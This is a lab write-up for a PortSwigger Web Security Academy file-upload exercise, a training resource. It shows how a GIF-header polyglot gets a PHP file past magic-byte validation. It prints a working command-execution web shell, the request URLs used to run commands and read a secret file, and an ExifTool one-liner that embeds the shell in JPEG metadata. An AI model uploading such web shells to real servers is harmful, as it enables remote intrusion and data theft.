| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | File Upload Vulnerabilities |
| Difficulty | Practitioner |
| Objective | Bypass magic-byte file content validation by creating a polyglot PHP/image file, then use it to read /home/carlos/secret |
Remote Code Execution via Polyglot Web Shell Upload¶
Uploading tetoshell.php directly returned:
Error: file is not a valid image
Content-Type spoofing, extension tricks, and null bytes won't help here — the server reads the actual file bytes and checks the signature. This is magic-byte validation: checking the file signature at the start of the data rather than just the filename. Better than no validation, but not sufficient on its own. Checking GIF8 at the start confirms the file begins like a GIF — it says nothing about what follows.
A polyglot file satisfies two format validators simultaneously. PHP is an embedded language that ignores everything outside <?php ... ?> tags — the interpreter scans for the opening tag and executes from there, stepping over GIF headers, EXIF data, or binary garbage without complaint. If we prepend valid image magic bytes before the PHP payload, the file validator sees a GIF and the PHP interpreter finds its tag.
GIF's magic bytes (GIF87a / GIF89a) are ASCII-printable, making GIF8; at the start enough to satisfy many magic-byte checks. I created a file with the GIF signature followed immediately by the web shell:
GIF8;
<?php
if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }
?>
Uploaded as tetoshell2.php — the validator sees GIF8, the file stores with .php, and the extension is what actually controls whether PHP executes it.
The file avatars/tetoshell2.php has been uploaded.
/files/avatars/tetoshell2.php?cmd=whoami
GIF8;
carlos
The GIF header passed through as literal output (PHP skipped it), and whoami executed below it. Reading the secret:
/files/avatars/tetoshell2.php?cmd=cat /home/carlos/secret
The official solution uses ExifTool to embed PHP inside a real JPEG's EXIF metadata, producing a file that passes stricter validators that parse actual JPEG structure rather than just checking magic bytes:
exiftool -Comment="<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>" teto.jpg -o teto.php
The GIF8; prefix trick works against weak validators; ExifTool is the production-grade approach for real engagements.
Lab solved